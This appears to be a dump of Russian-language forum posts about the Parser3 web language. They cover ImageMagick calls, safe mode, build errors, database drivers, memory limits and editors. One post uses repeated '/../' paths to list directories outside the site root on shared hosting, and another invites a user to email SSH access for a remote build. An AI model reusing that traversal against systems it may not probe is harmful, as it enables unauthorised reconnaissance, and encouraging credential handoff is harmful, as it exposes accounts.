--------------------------------------------------------------------------------\
\
Comment:\
\
undefined method\
save\
\
Exception details:\
\
/home/bestnarty/domains/bestparty.in.ua/public_html/classes/this_photogallery_admin.p(94)\
\
exception.type:\
parser.runtime[/code]"
"71240","Не понял данный момент. Где именно, и что создать? Объясните на пальцах, пожалуйста:)"
"71241","[quot]попробуйте на примере объяснить, что вам хочется узнать[/quot]\
\
Я хотел добавить в класс \"two\" метод каторый будеть создавать объект ещё другого класса. Но в параметре этого метода хотел передать $self из \"two\", но чтоб это был обекть класса \"one\", потомучто буду использовать только методами базового класса. Такой подход хотел сделать только для чистоты.\
\
[quot]никаких доп. объектов не создаётся и добираться не до чего[/quot]\
\
Всё уже понял. Мне только что нибудь в доке ввестило в заблуждение. \
[quot]\
хотя такой синтаксис вызова метода и похож на синтаксис вызова статического метода, фактически, в случае динамического метода, происходит динамический вызов метода родительского класса\
[/quot]\
\
Думал я если происходить динамический вызов - тогда далжен существовать где нибудь объект родительского класса. \
\
Тепер уже знаю что не существует.\
\
Передам в конструктор третьего класса объекть другого класса и тоже будеть хорошо.\
\
Спасибо за разяснение."
"71242","ooo\
смотрю на reflection\
очень полезный класс ;)"
"71243","Обычно ищу программы так:\
[code]\
$path[/../]\
$list[^file:list[$path]]\
^list.menu{\
    ${path}$list.name<br />\
}\
[/code]\
И последовательно перебираю переменную path\
[code]/../\
/../../\
/../../../\
/../../../usr/[/code]\
и т.д. Примитивно, но работает. И путь к нему указываю так\
[code]/../../../usr/bin/convert[/code]\
в вашем случае это скорее всего\
[code]/../../../../../usr/bin/convert[/code]"
"71244","Спасибо за совет.. нашел таким способом \
\
/../../../../../usr/local/bin/convert\
\
Но там пусто.. никаких скриптов, или вызывающих программ я не увидел.. пробовал вызывать его \
\
/../../../../../usr/local/bin/convert\
/../../../../../usr/local/bin/convert/\
/../../../../../usr/local/bin/convert/convert\
\
Таким же способом нашел путь к фотографиям, и прописал для них пути\
\
../public_html/i/gi/**.jpg\
\
все равно ничего не происходит... я уже не знаю где рыть. Может он просто не установлен правильно на хостинге?"
"71245","[quot]\
Спасибо за совет.. нашел таким способом \
\
/../../../../../usr/local/bin/convert\
[/quot]\
\
и кто-то из дискутирующих считает это более прямым решением, чем [url=\"http://www.parser.ru/forum/?id=71233\"]создание и вызов трёхстрочного nconvert.sh[/url]?\
\
\
[quot]\
Может он просто не установлен правильно на хостинге?\
[/quot]\
\
жжошь! пеши есчо!"
"71246","Положите в корень сайта любой test.jpg\
[code]\
$testConvert[^file::exec[/../../../../../usr/local/bin/convert;;$env:DOCUMENT_ROOT/test.jpg;$env:DOCUMENT_ROOT/test.png]]\
[/code]\
Собственно в итоге должен получиться test.png рядом с test.jpg. Эта форма вызова 100% работает если convert и test.jpg существуют и если парсер -- grpunlim."
"71247","Очень не хочется буквоедствовать и препираться с Вами, но постараюсь мысль свою донести, раз уж начал.\
\
Абсолютно согласен с тем что код может лежать где угодно. Давайте говорить о [b]рабочем каталоге процесса[/b]?\
\
У нас есть парсерный скрипт со своим рабочим каталогом (он же — текущий каталог, так?). Пусть им будет document_root/path/to/script/\
\
Мы вызываем скрипт ^file::exec[/dir/script.sh].\
Это другой процесс и у него другой рабочий каталог.\
А в документации написано что \"[i]рабочим каталогом запускаемой программы является текущий каталог[/i]\". Из этого утверждения следует что script.sh должен [b]наследовать[/b] рабочий каталог вызвавшего его скрипта."
"71250","1) Что такое --disable-safe-mode?\
2) Атеперь что мы сделали?\
\
\
\
Подсказки смотреть после ответа на вопросы :)\
1) --disable-safe-mode - грубо говоря такой if который посылает всех подальше, если попытаться запустить скрипт, приложение которым не владеешь или ты root\
\
Пример:\
 Вы пользователь Digger(1005) и состоишь в группе Digger(1005) - в скобкай условный id пользовтеля\
 есть пользователь root(0) который состоит в группе wheel(0) в bsd как-то так называется\
 есть исполняемый файл парсера владелец и группа у которого Digger:Digger\
\
В момент запуска этого файла скрипт осознаёт :) что оно Digger:Digger и может работать с файлами принадлежащими хотябы пользователю Digger или находящимися в группе Digger (в некоторых случаях проверяется величина id группы (и)или пользователя она должна быть больше определённой, но это не из этой оперы)\
\
Контрольные вопросы\
a) Кому приналежит файл /usr/local/bin/convert\
б) Кому принадлежит созданный Вами файл /home/Digger/bin/convert.sh\
в) Какая реакщия будет в случае а и в случае б? Почему?\
\
\
2)\
а) Создав файл в вашей домшней директории вы автоматичческие являетесеь его владельцем и он автоматически попадает в вашу групп обычно с правами 644 (погуглите на эту тему, оч полезно)\
б) меняете права на 755 (гуглить), те разрешаете его запускать себе, группе и кому не поподя и ещё несколько прав наздаёте налево и на право(гуглить)\
в) когда парсер запускается и проверяет права файла он признаёт его за своего, как следствие у него не возникает дополнительных вопросов и он продолжает работать дальше"
"71251","Попробовал.. ничего не получилось.. \
\
сборка: parser3_3_0_redhat73_grpunlim_cgi_xml"
"71252","Достойный ответ модератора.."
"71254","Я уже писал. Ошибок никаких нету. \
По-крайней мере они нигде не высвечиваются. \
Parser Exception - нету. \
\
Что такое .status, .stderr, где искать эти файлы?"
"71256","За это спасибо!!\
\
вот ошибки\
\
convert: UnableToOpenConfigureFile `delegates.xml' @ configure.c/GetConfigureOptions/589.\
 \
convert: NoDecodeDelegateForThisImageFormat `.../public_html/test.jpg' @ constitute.c/ReadImage/530. \
\
convert: MissingAnImageFilename `.../public_html/test.png' @ convert.c/ConvertImageCommand/2838. 1"
"71257","а как ещё было прокомментировать ваше сообщение о том, что вы не удосужились выяснить, работает-ли вообще у вас nconvert, а занялись поисками/сборками parser без safe моде и ковырянием с парсерным кодом.\
\
P.S. это я ещё сдерживал себя во время написания того комментария :)"
"71258","А как это выяснить по-другому!? \
\
во-вторых не [b]n[/b]convert, а convert\
\
Я сообщил в тех.поддержку хостинга, что мне нужен imagemagick convert, они якобы установили, и дали путь к нему. Я в скрипте прописал, и стала появляться parser exception: Recompile parser .. --disable-safe-mode."
"71259","варианты проверки:\
1. зайти шелом и запустить нужную программу из командной строки\
2. то-же самое, но написав .sh файл который вызывает нужную программу с фиксированными параметрами и весь output пишет в файл\
3. попробовать например из perl\
4. если уж используете парсер, то хотя бы про метод, с помощью которого вызывается внешний скрипт, можно было страничку текста прочитать (а там и про .status и про .stderr есть), особенно учитывая тот факт, что вы ранее некорректно использовали путь к скрипту в этом методе и вам на это указали.\
\
P.S. convert, nconvert -- в данном случае разницы никакой. любой внешний скрипт проверяется примерно аналогично"
"71260","http://www.parser.ru/forum/?id=71256\
\
вот результат проверки.."
"71261","Ну и пункты 1 и 2 из Мишиного сообщения попробовать стоит."
"71262","Я-то перевёл(: Хостеру отправил. жду ответа..\
Спасибо за ответы, надеюсь хостер знает что делать, и решит проблему..\
\
Я так понимаю это решается только с его стороны. \
\
PS Неправильно установлен convert? Или собран, или чё-то в этом роде..?"
"71263","добавлено:\
- оптимизация использования памяти при работе со строками (экономится ещё немного памяти)\
\
- у ^file::create появился четвёртый необязательный параметр, где можно указать $.charset[кодировку] создаваемого файла\
\
- парсер собран с последней версией библиотеки libxml (2.7.6)\
\
\
исправлены ошибки:\
- иногда некорректно производилось сравнение строк (очень древний баг, мы удивлены, что раньше на него не наступали)\
\
- иногда была core при table.save\
\
- иногда некорректно считалась длина utf8 строки\
\
- исправлено несколько ошибок, из-за которых при out of memory была core вместо сообщения об ошибке\
\
- исправлена небольшая не оптимальность в match\
\
\
[url=\"/forum/?id=71002\"]список изменений[/url] предыдущей бета версии\
\
P.S. мы в очередной раз надеемся, что за этой бетой последует релиз %-)"
"71264","[code]$table[^table::create{col1	col2	col3\
val1	val2\
val4	val5	val6\
val7	val8	val9}]\
\
$table[^table.flip[]]\
^table.save[/flip.txt][/code]\
\
Если в последнем столбце нет первой строки, то весь последний столбец не попадает во flip. Так должно быть или баг?\
\
Parser 3.3.0 Win"
"71265","в применении к named таблицам это баг и он будет исправлен (уже исправлено в head).\
в применении к nameless таблицам это нормальное поведение."
"71266","Здравствуйте,\
Поставил Windows7 возникли проблемы с открытием некоторых сайтов, а именно выводит сообщение:\
[quote]The requested URL /index.php was not found on this server.\
Вы ошиблись при наборе URL в браузере. Вероятнее всего, сервер пытается найти файл Z:/home/site/www/index.php, которого не существует. [/quote]\
\
Все пути к cgi прописаны правильно. На XP все работало.\
\
Кто-нибудь с таким сталкивался?"
"71267","В какой редактор под маком нужно вставлять tab-delimited таблицу из примера 1?\
Как должен выглядеть код такой таблицы?"
"71270","Новый требует что бы рядом с папкой www лежал cgi-bin с parser3.cgi.\
.htaccess \
содержит{\
# Подключение Parser-а для всех .html-страниц \
AddHandler parsed-html html \
Action parsed-html /cgi-bin/parser3.cgi\
\
# Запрет на доступ к .p-файлам. Основной: auto.p \
<Files ~ \"\\.p$\"> \
  Order allow,deny \
  Deny from all \
</Files> \
\
}"
"71271","не совсем хорошо но как вариант пойдет, я бы не стал использовать такую конструкцию, прежде всего из -за медлености \"distinct(ads_types.title) as title,\"\
серьезная нагрузка на сервер - лучше обойтилсь двумя запросами"
"71272","в любом текстовом редакторе пишите 'section_id', затем нажимаете кнопку Tab, пишите 'name', опять Tab, пишите 'uri', затем Enter, ну и т.д. :)"
"71273","И многие редакторы типа BBEdit по-умолчанию тоже, но это легко настраивается."
"71274","Спасибо!"
"71275","Вопрос скорее всего касается людей, использующих PF.\
\
При рендеринге шаблона используя Templet не нашел возможности использовать базовый шаблон. В самом шаблоне я выполняю @USE для вызова базового шаблона, а сам необходимый контент оборачиваю в метод @content[]. В базовом шаблоне в @main[] происходит вызов этого метода. Это в идеале. В итоге же я получаю ошибку\
\
_pattern\
is 'string', not a method or junction, can not call it\
\
Хотелось бы знать, как при помощи движка Templet возможно реализовать такую структуру?\
\
Заранее спасибо =)"
"71276","Я в таких случаях использую shared-шаблоны, т.е. выношу общие блоки в отдельную папку и из шаблока вызываю метод include:\
[code]\
/shared/block.p:\
 <h1>$someTitle</h1>\
\
template.p:\
  ^include[/shared/block.p;$.vars[$.someTitle[Заголовок]]]\
[/code]\
\
Если функционала метода include не хватает, то всегда можно расширить набор методов шаблона своими:\
[code]\
controller.p:\
@renderMy[aName;aOptions]\
  $result[^render[/shared/$aName;$aOptions]]\
\
@onSomeAction[aRequest]\
  ^assignVar[renderMy;$renderMy]\
  ^render[template.p]\
\
template.p:\
  ^renderMy[block.p;$.vars[...]]\
[/code]"
"71277","Интересно, использует ли кто-то какие-нибудь новые редакторы для редактирования кода parser3 ?\
\
Для меня неизменно уже на протяжении 5 лет: far+colorer+autocomplete."
"71279","Если можно, кратко: что в нем хорошо, что жизнь облегчает?"
"71280","Легкий, бесплатный, подсветка parser'a, поиск/замена в файлах, поиск/замена регулярными выражениями, смена кодировки файла, выделение столбиком, FTP, автозакрытие скобок, настройка горячих клавиш, настройка подсветки, многодокументность.\
\
З.Ы. Через wine работает под linux"
"71281","Интересно, попробую.\
Я вот еще видел одну функцию в vim-е кажется, стоишь на вызове функции, жмешь хоткей, и попадаешь в её исходник в другом файле.\
Хотя... вот пишу и думаю... В фаре макрос такой можно сделать :)\
А тут есть что-то подобное?"
"71283","цены бы не было тому человеку, кто реализовал бы подобное под emacs :)"
"71284","Тут что-то на форуме про emacs было. А что именно реализовать? свет и автокомплит?"
"71286","EmEditor\
\
[url=\"http://www.parser.ru/f/1/download/utils/p3_emeditor.zip\"]p3_emeditor.zip[/url] (14.08.2006  3,9 КБ)\
Схема подсветки синтаксиса parser3 и html для редактора EmEditor."
"71288","для знающего человека да, а вот для человека, который не имел дело с подобными задачами, это займет времени поболее:) может на досуге попытаюсь реализовать его"
"71291","Есть ли исходники? Хочу оптимизировать быстродействие."
"71292","Александр Егоров начинал делать модуль для второго Апача, но у него там возникили некоторые сложности и работа осталась недоделанной. \
\
А Вы уверенны, что модуль даст реальный прирост быстродейтсвия на ваших задачах?"
"71293","задачи такие:\
\
[code]\
^for[i](1;10){\
 ^t.menu{  #в t - 20 строк\
   ^d.menu{  #в d - 50 строк\
     ^for[j](1;7){\
\
^void:sql{insert всякую фигню}\
\
}}}}}\
[/code]\
\
Не уверен, но читал что есть некоторая оптимизация у модуля по сравнению с cgi"
"71294","Модуль кеширует соединения с БД и XSLT-шаблоны, плюс держит в памяти код компилятора и среды исполнения, что может быть критично при активном использовании xml'я на высоких нагрузках. У Вас время судя по всему тратится на работу СУБД, а не Парсера и модуль тут ситуацию не изменит.\
\
Задача эффективной работы с базой решается либо формированием одно insert'а с кучей values, либо [что эффективно для myisam-таблиц в MySQL'е] использованием трех опраторов lock table - insert - unlock tables, что позволит строить индексы за один проход, а не для каждого insert'а. В любом случае надо измерить время, которое тратится на \"проблемный\" кусок и понять что же реально является узким местом, а не тыкать пальцем в небо. :)"
"71296","Узкое место в данном случае парсер. Вместо ^void:sql{insert ..} ставил сохранение в файл, да и вообще его убирал. Удивительно, но время выполнения на 1 минуте не отличается ни на секунду...\
\
А у меня это задача по 30 мин иногда тарахтит"
"71297","Какая версия парсера?\
Что выдает rusage/memory?\
\
Про производительность - читали ли http://www.parser.ru/forum/?id=70358\
\
P.S. Если ^memory:compact не используется, то раньше память кончится, чем парсер 30 секунд CPU съест."
"71298","до этого использовал UltraEdit\
\
P.S. в \"полезных ссылках\" есть ссылки на редакторы, которые пробовал я"
"71299","[quot]\
Узкое место в данном случае парсер. Вместо ^void:sql{insert ..} ставил сохранение в файл, да и вообще его убирал. Удивительно, но время выполнения на 1 минуте не отличается ни на секунду...\
[/quot]\
\
есть сомнение в корректности проведённых изменений, т.к. 70 тысяч insert-ов всё таки должны сказаться на времени выполнения...\
\
P.S. в модуле никаких оптимизаций выполнения парсерного кода нет. быстрее происходит запуск обработки (он один на процесс), есть кеширование xsl и sql соединений между запросами. это может помочь только в случае высокой нагрузки на сервер (много одновременных запросов), а не в случае одного медленного скрипта (который скорее всего надо оптимизировать)"
"71303","там ведь фактически нужно лишь перечислить все методы/конструкторы и указать цвет. я даже не знаю, можно ли её \"выдрать\" чтобы куда-то выложить.\
\
P.S. а вообще, в этом редакторе мне реализация подсветки синтаксиса не нравится."
"71305","А почему с UE слез? Чем лучше Notepad++?"
"71307","один из багов был ну очень неприятный, т.к. прохеривались данные (подробностей его воспроизведения уже не помню).\
\
при этом подавляющее большинство его функций мне были просто не нужны.\
\
ну а ещё я давно хотел перейти на free-редактор."
"71308","Лёгкий, почти всё что надо легко настраивается, от подсветок до макросов.\
\
Единственный недостаток для меня: слабая поддержка регулярок в поиске/замене. Спасает фар:-)"
"71309","Раньше был Espresso, но что-то не заладилось :)"
"71310","Здравствуйте\
Пытаюсь собрать парсер на SunOS 5.10\
Проблема этом:\
\
Building...\
Configuring parser3...\
../buildall-without-xml: ./configure: not found\
Building parser3...\
make: Fatal error: Don't know how to make target `install'\
DONE\
\
В чем ошибка? подскажите пожалуйста"
"71311","Немного поправил и вроде бы пошло дальше, но снова возникла ошибка. Теперь точно понятия не имею в чем причина может быть и где ее искать эту причину... \
\
Building...\
Building parser3...\
cd .. && make  am--refresh\
make: Fatal error: Don't know how to make target `am--refresh'\
Current working directory /home/29/w73053/parser3install\
*** Error code 1\
make: Fatal error: Command failed for target `../aclocal.m4'\
DONE"
"71312","aclocal - видимо у вас не стоит (еще может захотеть autoconf и automake).\
\
Попробуйте \
find ./ -exec touch {} \\;\
Чтобы оно не пыталось перебилдить configure."
"71313","Сделал, ничего не изменилось... ошибка таже..."
"71314","1. откуда исходники, из cvs или скачан архив? (возьмите из cvs)\
2. перед touch заново доставали исходники или продолжали мучение тех, что у вас уже были? (достаньте заново)"
"71315","Скачал из цвс исходники и выполнил команду которую описали раньше. Ничего опять не получилось, но ошибки другие:\
\
\
w73053@shell03:~/parser3install/bin$ sh ../buildall-without-xml\
../buildall-without-xml: ^M: not found\
../buildall-without-xml: ^M: not found\
../buildall-without-xml: ^M: not found\
buildall-without-xml\
Script author: Alexander Petrosian <paf@design.ru> (http://paf.design.ru)\
../buildall-without-xml: echo^M: not found\
Building...\
../buildall-without-xml: ^M: not found\
../buildall-without-xml: ..^M: does not exist"
"71316","^M - это скорее всего из Windows делали check-out и получились Windows переносы строк."
"71317","ок, понял\
это в какомто конкретном файле или во всех файлах проекта?"
"71318","Критично это только в shell скриптах (но их более одного).\
IMHO проще из скачать взять архив с исходниками:\
http://www.parser.ru/f/1/download/src/parser-3.3.0.tar.gz"
"71319","Проще конечно, я так и делал и были другие проблемы. Михаил порекомендовал скачать их CVS и пробовать мучать их, пробую, но пока не я их муча. по-ходу..."
"71320","как вставлять в парсерный код php? не нашёл ни на форуме ни в доках"
"71322","Товарищи разработчики, помогите все таки это исправить или подскажите пожалуйста другой возможный способ сборки?"
"71324","Достал и попробовал, пишет:\
\
w73053@shell03:~/parser3install/bin$ sh ../buildall-without-xml\
../buildall-without-xml: ^M: not found\
../buildall-without-xml: ^M: not found\
../buildall-without-xml: ^M: not found\
buildall-without-xml\
Script author: Alexander Petrosian <paf@design.ru> (http://paf.design.ru)\
../buildall-without-xml: echo^M: not found\
Building...\
../buildall-without-xml: ^M: not found\
../buildall-without-xml: ..^M: does not exist"
"71325","доставайте из cvs не на win32, если лень разбираться в настройках вашего cvs клиента, чтобы он не преобразовывал переводы строк в win32 формат."
"71326","Никак не могу заставить работать подключение к базе PostgreSQL на FreeBSD 5.4.\
\
Собираю парсер 3.3 из исходников. Собираю драйвер 10.0.\
В итоге на строку ^connect[pgsql://user:pass@host/database]{$pos[^table::sql{SELECT key, pos FROM positions05 dictinctrow ORDER BY pos}}\
выдаётся ошибка '/usr/local/www/cgi-bin/lib/libparser3pgsql.so' driver failed to initialize client library '/usr/local/lib/libpq.so', function PQescapeStringConn was not found\
\
Если же собрать драйвер 9.4, то ошибка выдаётся уже другая:\
SELECT key,pos FROM positions05 dictinctrow ORDER BY pos \
ERROR: integer out of range\
\
Никак не могу понять как решить эту проблему"
"71329","Добрый день! На хостинге РБК говорят, что парсер перегружает оперативную память. Посещаемость всего 3500 в сутки...\
>> Проблема на Вашем аккаунте была именно в потреблении >> >> оперативной памяти\
>> сервера (3.49% вместо максимально положенных 2% в среднем за сутки). \
\
В чем может быть проблема, как это исправить, а то говорят переходите на vps, а это дороговато.\
\
С Уважением, Алексей"
"71330","во-вторых можно перейти на версию 3.4.0 - она несколько меньше потребляет память, в-третьих, и это главное, необходимо разобраться с вашими скриптами, а именно найти места, которые потребляют слишком много памяти и заняться оптимизацией."
"71331","Использую UE, но хочется какой-то упорядочности в проекте..."
"71332",">function PQescapeStringConn was not found\
\
Значит версия /usr/local/lib/libpq.so не соотвествует тем .h файлам, которые лежат на сервере (иначе была бы ошибка сборки драйвера). Надо искать на сервере или ставить правильный libpq.so."
"71333","Голова уже не сображает... Помогите советом, а то идеи уже исчерпаны...\
\
Как говорил Михаил, скачал head версию из cvs, перед buildall выполнил find ./ -exec touch {} \\;\
\
Проблем с \"^M\" вроде бы больше, формат файлов unix-овский, а не win... \
\
И всеравно:\
\
Building parser3...\
make: Fatal error: Don't know how to make target `am--refresh'\
Current working directory /home/29/w73053/parser3install\
*** Error code 1\
The following command caused the error:\
for dep in ../Makefile.am ../acinclude.m4 ../configure.in ../aclocal.m4; do \\\
  case '../acinclude.m4  ../configure.in   ../aclocal.m4' in \\\
    *$dep*) \\\
      cd .. && make  am--refresh \\\
        && exit 0; \\\
      exit 1;; \\\
  esac; \\\
done; \\\
echo ' cd .. && /bin/bash /home/29/w73053/parser3install/missing --run automake-1.9 --gnu  bin/Makefile'; \\\
cd .. && \\\
  /bin/bash /home/29/w73053/parser3install/missing --run automake-1.9 --gnu  bin/Makefile\
make: Fatal error: Command failed for target `../Makefile.in'\
DONE\
\
\
В чем теперь проблема может быть..."
"71335","понимаю конечно... \
но с этой проблемой обязательно к хостеру обращаться или есть возмодность какимто образом самому все поставить?\
\
ЗЫ \
Извините за возможно глупые вопросы\
чесно говоря вообще не понимаю о чем речь идет\
пытаюсь собрать парсер первый раз и только из крайней необходимости, так как ниодного собраного варианта под SunOS который бы раотал как надо не нашел"
"71337","Ок, так и сделаю. Будет результат - напишу сдесь. Спасибо"
"71338","Там делов то на несколько минут. Хотите - шлите ssh доступ на moko@design.ru, соберу. Для 3.4.0 мы думаю таки подправим даты в архиве, чтобы без alocal/autoconf собиралось."
"71339","Странно... На парсере 3.0 и модуле pgsql к нему всё отлично работало.\
\
Решил вот обновить парсер, и теперь вот не хочет работать. Выходит, что что-то поменялось в самом postresе, раз новый модуль парсера не работает со старым libpq.so? (стоит PostgreSQL 7.4.7)"
"71340","вы забыли самое главное -- что значится в номере версии после 0.\
кстати имейте в виду, что при переходе от версии к версии могут вылезти несовместимости (см. архив новостей)\
\
\
возможно вы пользуетесь достаточно старой версией парсера и драйвера, а там все pgsql-ные константы были просто скопированы в исходник драйвера.\
\
в новых версиях всё как и должно быть: подключается pgsql-ный h-файл, в котором эти константы определены."
"71341","У меня 3 сайта на одной площадке с посещаемость ~800 в сутки, так мне хостер уже ультиматум ставит."
"71342","Список изменений по сравнению с версией 3.3.0 описан в [url=\"/news/\"]новостях[/url] (полный ChangeLog доступен в cvs и в архиве исходников).\
\
Можно считать, что по сравнению с [url=\"/forum/?id=71263\"]предыдущей бета версией[/url] изменений нет: был [url=\"/forum/?id=71264\"]подправлен только flip[/url] для именованных таблиц в случае отсутствия в последнем столбце первой строки данных.\
\
Инсталлятор для win32, версии для freebsd7 и версии для x64 будут выложены чуть позже."
"71343","В правом поле все время \"Переход на веб-страницу отменен\", на всех разделах доки 3.4.0. При этом дока 3.3.0 на семерке работает нормально. На висте 3.4.0 работает."
"71344","Правый клин на файле, Properties, кнокпа Unlock."
"71345","Вижу что прщзошла тема снм хочю спросить:\
\
Была ли у кого нибудь проблема с просмотрам снм на не-русском Windows? От самого начяла я не могу посмотреть chm на польском Windows? Возникаеть проблема с кодировкой.\
\
Посмотрите:\
http://temp.domanski.pro/kodirofka.png"
"71347","ну у меня английская windows XP.\
\
- в win установлена поддержка кодовой страницы 1251?  (Start | Settins | Control Panel | Regional and Language Options | Advanced )\
- предыдущая версия доки работает?\
- какие-либо другие chm-ки с русскими буквами пробовали? работают?\
\
но вообще, увы, всё несколько печально, т.к. та прога, которой мы делаем chm-ки, по умолчанию в навигацию не добавляет информацию о кодировке.\
\
я могу попробовать пошаманить и добавить её туда ручками, однако мне нужен будет бета-тестер для проверки работоспособности полученной доки."
"71348","Добрый день, уважаемые коллеги!\
\
Возник вопрос по настройке mysql на peterhost-е, их служба поддержки прислала письмо, цитирую: \
\
«Сама поддержка mysql у нас имеется, другое дело, что Ваш сайт использует язык разработки parser, который практически не поддерживается у нас из - за проблем с зависимостями и невысокой популярности.  Какие именно сайты работают у нас на\
парсере? Укажите, пожалуйста, мы посмотрим их конфигурацию.»\
\
Я это перевёл как \"мы знаем, как это настраивается, научите нас - покажите пример\". \
\
Кто размещает свои сайты на peterhost — пожалуйста, сбросьте ссылки на ваши сайты на этой площадке — может кому в будущем тоже пригодиться при общении с peterhost-ом :)"
"71349","[quot]в win установлена поддержка кодовой страницы 1251?[/quot]\
В \"advanced\" я вижу\
 1. умолчянный язык (польский)\
 2. табель конверсии кодировки\
1251 (ANSI - cyrylica), но она серая.\
см. http://temp.domanski.pro/advanced_kodirofka.png\
\
Когда я изменил умолчянный язык парсерные доки chm работают правильно, но остальные программы показывают мне руские всегда буквы. \
\
[quot]предыдущая версия доки работает?[/quot]\
От 3.1.4 не работало.\
\
[quot]какие-либо другие chm-ки с русскими буквами пробовали? работают?[/quot]\
\
Да. На пример. http://pl.php.net/distributions/manual/php_manual_ru.chm\
\
[quot]я могу попробовать пошаманить и добавить её туда ручками, однако мне нужен будет бета-тестер для проверки работоспособности полученной доки[/quot]\
\
Я \"пере-собрал\" (decompile и compile) про себя chm в Microsoft HTML Workshop. Изменил только шрифт в навигацйю на русский и работает хорошо. Толька птичка пропала. Когда выложите chm могу вам проверить на польском Windows XP.\
\
Поздравляю"
"71351","Вот этот код для nconvert отлично срабатывает на хостинге с линуксом\
\
[code]^form:foto.save[binary;/pic/catalog/temp.jpg]\
^oImg.resize[/pic/catalog/temp.jpg;/pic/catalog/small/${form:edit_id}.jpg;150;;$.bKeepRatio(1)]\
^oImg.resize[/pic/catalog/temp.jpg;/pic/catalog/${form:edit_id}.jpg;400;;$.bKeepRatio(1)][/code]\
\
Но на FreeBSD почему-то не работает опция $.bKeepRatio(1)\
Картинка в ширине изменяется, а высота остается как есть.\
Версия nconvert 5.50"
"71352","[quot]небезопасная версия parser (keyword \"grpunlim)[/quot]\
\
На grpunlim тоже возникает ошибка \"not save environment variable\"\
\
Есть ли какая-нибудь тайная возможность для переданиа переменных без \"CGI_\"?"
"71354","NConvert вообще отличается тем, что на разных платформах ведет себя немного по-разному.  \
\
Попробуйте запустить скрипт из консоли с нужными ключами и посмотрите как оно отработает. Возможно на форуме нковерта есть обсуждение проблемы, если она имеет место быть. \
\
Я бы в данном случае либо переключился на ImageMagick, либо задавал размеры жестко, высчитывая размеры в скрипте. Эдакий ручной $.bKeepRatio(1) :)"
"71355","а вот это http://www.parser.ru/forum/?id=58390 еще в TODO ?\
\
строки news\
==\
Исправлена ошибка, из-за которой в некоторых случаях некорректно работало сравнение строк.\
Исправлена ошибка, из-за которой не всегда корректно вычислялась длина строки при работе в UTF-8.\
==\
- наводят на мысль, что да.\
\
я неправ?"
"71356","ок, обсуждалось много раз, но может кому пригодится :)\
\
Итак, нужно установить сайт (parser+mysql) на peterhost. \
После \"заливки\" parser (32-х битной версии) в parser.log ошибка: \
\
'./lib/libparser3mysql.so' driver failed to initialize client library 'libmysqlclient.so', can't open the module \
\
Решается, например, как описано здесь — http://www.parser.ru/forum/?id=58738\
\
1. с mysql.com скачивается 32-х битная версия libmysqlclient.so  \
* пришлось качать ~100Mb архив с mysql для FreeBSD ради одного файла\
\
2. кладём скачанный libmysqlclient.so туда же, где находится libparser3mysql.so\
\
3. в \"главном\" auto.p правим строку \"client libraries paths\": \
mysql	$sqldriversdir/libparser3mysql.so	$sqldriversdir/libmysqlclient.so\
\
Всё работает. \
\
* просто в этот раз не повезло с конкретным специалистом поддержки - вместо поддержки получил в ответ \"покажите мне пример сайта на parser на нашем хостинге, чтобы я посмотрел как там что устроено\". Настроили и без поддержки :)"
"71358","однако если баг подтвердиться, то исправлен он будет только в head, т.к. до ближайшей беты/релиза теперь далеко."
"71359","Как вариант можно включить в пакет с драйвером mysql парсера и клиентскую библиотеку mysql. По-идее мешать это никому не будет, а проблем типа указанной будет меньше..."
"71360","Есть ли где нибудь возмлжность просматря TODO?\
В CVS не нашёл?\
\
Мне кажеться что доступ к тодо очень полезный.\
\
Поздравляю"
"71361","Спасибо... Но я ещё не всё понял.\
\
[code]\
export MAGICK_HOME=\"imageMagick\"\
export PATH=\"imageMagick/bin\"\
export MAGICK_CONFIGURE_PATH=\"imageMagick/lib/ImageMagick-6.5.1/config\"\
export MAGICK_CODER_MODULE_PATH=\"imageMagick/lib/ImageMagick-6.5.1/modules-Q16/coders\"  \
export MAGICK_TEMPORARY_PATH=\"_tmp\"\
export MAGICK_FONT_PATH=\"imageMagick.fonts\"\
export MAGICK_CODER_FILTER_PATH=\"imageMagick/share/ImageMagick-6.5.1/config\"\
export LD_LIBRARY_PATH=\"imageMagick/lib:imageMagick.liblcms/lib\"\
[b]$1 $2 $3 $4 $5 $6 $7 $8 $9[/b]\
[/code]\
\
Правильно думаю?\
\
Или есть ещо средство чтоб скрипть ТОЛЬКО задал нужные переменные окружения и не делал больше ничего.\
\
Что нибудь такое?\
[code]\
^file::exec[только_задай_переменне.sh]\
^file::exec[задачя.bin]\
#stderr: нет переменных!\
[/code]"
"71365","А как вообще это измеряется? Может у кого есть готовый файлик типа _test.html?\
\
Как определить, какой именно запрос, какая операция сколько потребляет памяти и т.д., чтобы понять, какой участок кода требует оптимизации, а какой нет?"
"71366","[code]@sql_to_gmt_string[str]\
    $gmt[^date::create[$str]]\
    ^gmt.roll[TZ][MSK-6MSD]\
    $str[^gmt.sql-string[]]\
    $real_gmt[^date::create[$str]]\
    $result[^real_gmt.gmt-string[]][/code]\
\
[b]MSK-[color=\"#ff0000\"]6[/color]MSD[/b]\
\
Возможно, кто-нибудь знает, как сделать GMT-дату попроще..?"
"71367","Я сейчас расскажу проблемму и свое видение поправьте пожалуйста балбеса...\
есть сайт на парсере есть страничка index.html которая вызывает всего один метод который вызывает другие методы, которые проверяют параметры переданные парсеру и вызывают или не вызывают третьи методы либо что-то делают, ну и т.д. естественно все это храниться в файле auto.p и насколько я понимаю при каждом обращении к странице ПОЛНОСТЬЮ компилируется, отправляются запросы к базе, формируются таблицы но из всего этого добра используется в итоге далеко не все. Почему-то меня терзают смутные сомнения что это не правильно, громоздко, жрет память, процессорное время и т.д. На эти грабли уже наступал неоднократно выходил из положения различными способами (от упрощения кода до смены хостинга), только не при помощи пользовательских классов. Насколько я понимаю надо разбить auto.p на пользовательские классы, разложить все что не используется постоянно по разным файликам и подключать, компилировать и выполнять по мере необходимости. А теперь самое сложное для меня, то что я не могу понять уже на протяжении нескольких лет: \"как это сделать??????\" Объясните пожалуйста на пальцах кому не сложно как действует сам механизм, как передаются значения переменных и т.д. В документацию просьба не тыкать читал в разных версиях начиная со второго парсера так нихрена понимание не пришло. Заранее спасибо всем ответившим."
"71369","Задача - создать объект класса date из строки, содержащей время-дату по GMT в mysql-формате.\
\
Мое решение - это грязный хак, который, скорее всего, будет некорректно учитывать переход на летнее время."
"71370","насколько я помню, в Москве бывает трёх или четырёхчасовой сдвиг, но никак не шестичасовой.\
\
а вообще парсер использует аббревиатуры временных зон, определённых в системе (не спрашивайте меня как их править, я не знаю)"
"71371","тот код, который вы привели, не соответствует этому описанию:\
[quot]\
создать объект класса date из строки, содержащей время-дату по GMT в mysql-формате.\
[/quot]\
\
расскажите подробнее, что за задача и зачем вам это?"
